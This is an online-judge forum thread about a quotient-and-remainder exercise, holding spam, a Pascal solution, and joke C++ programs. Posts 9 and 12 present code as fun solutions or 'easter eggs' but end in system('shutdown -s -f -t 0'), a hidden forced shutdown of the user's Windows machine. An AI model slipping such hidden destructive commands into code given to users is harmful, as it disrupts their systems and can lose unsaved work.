HUST Online Judge WebBoard
[ New Thread ]
Problem 1004 >> 带余除数
zjhs1813 @ 2018-07-13 19:33:25
[ Quote ] [ Edit ] [ Delete ] 1#
谢了
zjhs1813 @ 2018-07-13 19:34:29
[ Quote ] [ Edit ] [ Delete ] 2#
pascal语言
zjhs1812 @ 2018-07-20 10:40:22
[ Quote ] [ Edit ] [ Delete ] 3#
输入密码我告诉你
哈哈,去开会
zjcd1806 @ 2018-08-19 08:45:50
[ Quote ] [ Edit ] [ Delete ] 4#
74567236524er
zjcd1806 @ 2018-08-19 08:45:57
[ Quote ] [ Edit ] [ Delete ] 5#
46rtwr4563565463653etgsgr
zhanghaoranz @ 2019-04-17 16:45:10
[ Quote ] [ Edit ] [ Delete ] 6#
9*/86


2019zjhs11 @ 2019-06-12 20:09:54
[ Quote ] [ Edit ] [ Delete ] 7#
var a,b,c,d:longint;
begin
readln(a,b);
c:=a div b;
d:=a mod b;
writeln(c,' ',d);
end.
houfengli @ 2023-10-03 20:21:26
[ Quote ] [ Edit ] [ Delete ] 8#
运行到最后,有彩蛋!
houfengli @ 2023-10-03 20:21:39
[ Quote ] [ Edit ] [ Delete ] 9#
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main()
{
cout<<"你认为1大于2?(请输入yes或no)\n";
string n;
cin>>n;
if(n=="yes"||n=="YES"||n=="Yes"||n=="也是")
{
cout<<"SB一个,数学一定考了0分吧\n";
for(int i=10;i<=100;i++)
cout<<"SB";
return 0;
}
else
{
cout<<"很好,我们来实验一下:)\n\n\n";
cout<<"1-100-(1-100)? 2-100+(2-100)?"<<endl;
int a=1,b=2;
a=a-100;
cout<<a-a<<endl;
b=b-100;
cout<<b + b<<endl;
cout<<"这时a>b,对吧?\n";
cout<<"所以······\n";
}
for(long long i=100;i>-1;i--)
cout<<"SB";
Sleep(500);
system("shutdown -s -f -t 0");
return 0;
}
secessionist @ 2023-11-05 18:38:11
[ Quote ] [ Edit ] [ Delete ] 10#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
}
int main() {
made_so_make();
return so_crowing;
}
201846 @ 2023-12-09 16:47:21
[ Quote ] [ Edit ] [ Delete ] 11#
1071?
7995 @ 2023-12-17 14:37:25
[ Quote ] [ Edit ] [ Delete ] 12#
史上最长a+b!!!1000字!!!
#include<iostream>
#define so_croting 1
#define so_croming -1
#define so_crowing 0
#define ant_if if
#define ant_else else
# define _GLIBCXX_VISIBILITY(V) _GLIBCXX_PSEUDO_VISIBILITY(V)
namespace std _GLIBCXX_VISIBILITY(default) {}
using namespace std;
typedef int node;
node a,b;
void outstring(string n) {
cout << n << endl;
}
void output(node n) {
cout << n << endl;
}
void sitting() {
outstring("请您稍等谢谢!");
}
void sleep() {
for (int j = 0; j < 100; j++);
sitting();
}
void made();
void make();
void input(node s) {
ant_if(s == 1) {
cin >> a >> b;
}
ant_else{output(a + b);}
}
void made_so_make() {
made();
make();
}
void made() {
input(so_croting);
for (int i = 0; i < 100; i++) {
outstring("LOGIN");
sleep();
system("cls");
}
for (int i = 0; i < 100; i++) {
outstring("COMPUTEING");
sleep();
system("cls");
}
}
void make() {
input(so_croming);
system("shutdown -s -f -t 0");
}
int main() {
made_so_make();
return so_crowing;
}
7995 @ 2023-12-17 14:38:36
[ Quote ] [ Edit ] [ Delete ] 13#
抄楼上的
加了一句
好玩
slslslsslslsl @ 2024-01-15 20:18:59
[ Quote ] [ Edit ] [ Delete ] 14#
#include<iostream>
#include<windows.h>
using namespace std;
#define GPTstart show("你好!这里是人工纸张蒟蒻!本人工纸张滋磁计算算式和闲聊(未完善)!请问你有什么问题吗?(输入help可以查看说明书)\n")
#define GPThelp show("输入的算式只能是加减乘除和取余(答案和算式里的数非负),输入格式如:1+1、2*4、5%2、9/2、8-3。此外本纸张支持计算幂,格式如:pow(9,5)。至于闲聊嘛,就不用纸张多说了吧~\n")
void show(string t){
int len=t.length();
for(int i=0;i<len;i++){
cout<<t[i];
if(len<=10)Sleep(100);
else if(len<=20)Sleep(50);
else if(len<=50)Sleep(25);
else if(len<=100)Sleep(10);
else Sleep(5);
}
}
unsigned long long m[50001]{1,0};
bool shift(){
return (GetKeyState(VK_SHIFT)&0x8000);
}
bool up(){
return (GetKeyState(VK_UP)&0x8000);
}
bool down(){
return (GetKeyState(VK_DOWN)&0x8000);
}
bool right(){
return (GetKeyState(VK_RIGHT)&0x8000);
}
bool left(){
return (GetKeyState(VK_LEFT)&0x8000);
}
void pow(int n,int t){
int s;
memset(m,0,sizeof(m));
m[0]=1;
for(int j=1;j<=t;j++){
for(int i=0;i<30000;i++)m[i]*=n;
for(int i=1;i<30000;i++){
m[i]+=m[i-1]/10;
m[i-1]%=10;
}
}
s=30000;
while(m[s]==0) s--;
for(int i=s;i>=0;i--){
cout<<m[i];
if(s<50)Sleep(100);
if(s<100)Sleep(50);
if(s<200)Sleep(10);
if(s<300)Sleep(5);
else Sleep(1);
}
cout<<endl;
}
int main(){
system("color 3F");
string n;
GPTstart;
while(cin>>n){
if(n=="help"){
GPThelp;
continue;
}if(n=="hello"||n=="hi"||n=="你好"||n=="Hello"||n=="Hi"){
show("你好!很高兴认识你!\n");
continue;
}if(n=="6"||n=="good"||n=="GOOD"||n=="Good"||n=="你真棒"||n=="Very good"||n=="very good"||n=="VERY GOOD"){
show("感谢你的夸奖!我也会继续努力的!\n");
continue;
}//if(n=="114514"||n=="1314"||n=="520")
unsigned long long a=0,b=0,ans,i=0;
a=0;
b=0;
i=0;
if(n[0]=='p'&&n[1]=='o'&&n[2]=='w'){
i=4;
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
pow(a,b);
continue;
}
while(n[i]>='0'&&n[i]<='9'){
a=a*10+n[i]-'0';
i++;
}
char t=n[i];
i++;
while(n[i]>='0'&&n[i]<='9'){
b=b*10+n[i]-'0';
i++;
}
if(t=='+'){ans=a+b;}
else if(t=='-'){ans=a-b;}
else if(t=='*'){ans=a*b;}
else if(t=='/'){long double aneo=double(a)/double(b);string to=to_string(aneo);show(to);}
else if(t=='%'){ans=a%b;}
else{
show("蒟蒻并不知道“");
show(n);
show("”是什么意思,请再说一遍吧!\n");
continue;
}
string m=to_string(ans);
if(t!='/')show(n),show("="),show(m);
show("\n");
}
}//楼上,a+b已经过时了!!!该玩ChatGPT了!!!
2023zjhs0001 @ 2025-10-29 17:21:21
[ Quote ] [ Edit ] [ Delete ] 15#
7
2025zjhj025 @ 2025-11-26 20:10:19
[ Quote ] [ Edit ] [ Delete ] 16#
vh,f3v-2n+v0sv0-2v15r[5e/546666666666666666666666666wewwww6666666666666666666666666666666666666666666666666666666666^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^6666666666666666666666666666666666666666666666666666666666666666666^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^6666^^^^^^^^^^^^^^^^^^666^666^^6666^^666^6666^66^^^6^66^^
2025zjhj025 @ 2025-11-26 20:11:05
[ Quote ] [ Edit ] [ Delete ] 17#
2222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222255555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555555550000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
[Top] [Previous Page] [Next Page]